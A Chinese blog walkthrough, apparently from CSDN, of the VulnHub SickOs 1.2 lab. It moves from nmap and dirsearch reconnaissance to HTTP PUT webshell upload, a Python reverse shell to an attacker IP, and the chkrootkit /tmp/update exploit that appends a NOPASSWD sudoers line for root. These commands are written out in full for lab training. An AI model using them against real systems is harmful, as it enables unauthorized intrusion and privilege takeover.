SickOs1.2靶场练习&小白详解&计划任务提权&chkrootkit提权

下载链接:

SickOs: 1.2 ~ VulnHubSickOs: 1.2, made by D4rk. Download & walkthrough links are available.icon-default.png?t=N7T8https://www.vulnhub.com/entry/sickos-12,144/

正文:

先用nmap扫描靶机ip

nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到SickOS文件夹下,命名为port方便后续查看

nmap -p- 192.168.1.4 -r -PN -oA SickOS/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到SickOS文件夹下,命名为server方便后续查看

nmap -p 22,80 192.168.1.4 -sC -sV -r -O --version-all -A -oA SickOS/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

访问80端口

翻译:

右键查看源代码

没有东西,进行目录爆破

​dirsearch -u "http://192.168.1.4/"

login目录下没有发现任何东西

在test目录下我们进行尝试

向IP地址为192.168.1.4的服务器发送一个OPTIONS请求,获取关于服务器支持的HTTP方法和其他相关信息的响应

curl http://192.168.1.4/test/ -vv -X OPTIONS

< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK:表示响应头部中的Allow字段,列出了服务器支持的HTTP方法列表。

获取shell:

我们发现服务器支持PUT方法

那我们用bp抓包进行对应尝试

将get方法改为put,并写入phpinfo()

写入成功

那我们尝试写入一句话木马

通过post方法进行传参尝试

用bp也可以

成功,在kali中打开nc监听,我们在url中构造反弹shell

nc -lvvp 8080

经过尝试,貌似只有python可以反弹shell

我们使用python进行反弹shell([~]#棱角 ::Edge.Forum* (ywhack.com)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.35",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

提权

查找具有 Setuid 权限的文件

find / -perm -u=s -type f 2>/dev/null

没有可以利用的东西

查看计划任务

cat /etc/crontab

监听端口和进程信息

netstat -lntp

列出与定时任务相关的文件和目录

ls /etc/cron*

发现了该文件

chkrootkit是一款小巧易用的UNIX平台上的可以监测多种rootkit木马的工具

它的功能包括监测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块等

0x01

在新kali窗口中查询该插件的漏洞脚本

searchsploit chkrootkit

将33899.txt复制到当前目录下

searchsploit chkrootkit -m 33899.txt

查看文件

cat 33899.txt

可以自行进行翻译,大概意思为:

将非root所有者的名为“update”的可执行文件放在/tmp中

运行chkrootkit(作为uid 0)

所以操作步骤为

在/tmp中放入一个名为update的非root所有者的可执行文件,并在该文件中构造恶意代码。

当系统以root身份运行chkrootkit时,其文件/ tmp /update将以root身份执行。

如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp有写访问权限,就可以利用该漏洞获取root权限。

0x02

我们可以编辑该文件/etc/sudoers中让www-data用户获取root没有密码(www-data ALL=NOPASSWD: ALL)或者给当前用户所有权限(www-data ALL=(ALL:ALL) ALL)

切换到/tmp目录

cd /tmp

让www-data用户获取root没有密码

将指令

echo 'www-data ALL=NOPASSWD: ALL'>>/etc/sudoers

保存到文件并命名为“1”

该指令意思为在/etc/sudoers文件后面追加一条www-data ALL=NOPASSWD: ALL命令,该命令会使用户www-data在切换为root时不需要密码

  • ALL:表示对于任何主机(ALL)都适用这个配置。
  • NOPASSWD:表示无需密码验证。
  • ALL:表示对于任何命令(ALL)都适用这个配置。
echo "echo 'www-data ALL=NOPASSWD: ALL' >> /etc/sudoers">1

查看“1”文件的内容为

因为我们无法判断该文件是否运行,我们在文件“1”后面追加一条命令,如果该文件运行,则生成一个新文件,方便我们查看

(“>>”表示追加,不会覆盖原有文件内容,“>”会覆盖原有文件内容)

echo "echo it finish > /tmp/333" >> 1

查看“1”内容

cat 1

如果该被文件运行,则会在/etc/sudoers文件内容后追加一条www-data ALL=NOPASSWD: ALL命令,该命令表示www-data用户切换为root权限时,无需密码

但是该文件是否被运行我们并不知道,所以第二行命令是将“it finish”语句写到/tmp目录(也就是当前目录)并命名为333,如果我们在当前目录下发现了“333”文件,则表示该文件被成功执行

0x03

给文件1加运行权限

chmod +x 1

将文件1重命名为update

mv 1 update

如果chkrootkit执行了我们改名后的update文件的话,会在/tmp目录下生成一个“333”文件,表示该指令  www-data ALL=NOPASSWD: ALL'>>/etc/sudoers  成功执行

发现生成的333文件,表示update文件已经运行

sudo su

成功提权

如果出先该提示,则需要重新开启一个命令框

python -c 'import pty; pty.spawn("/bin/sh")'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值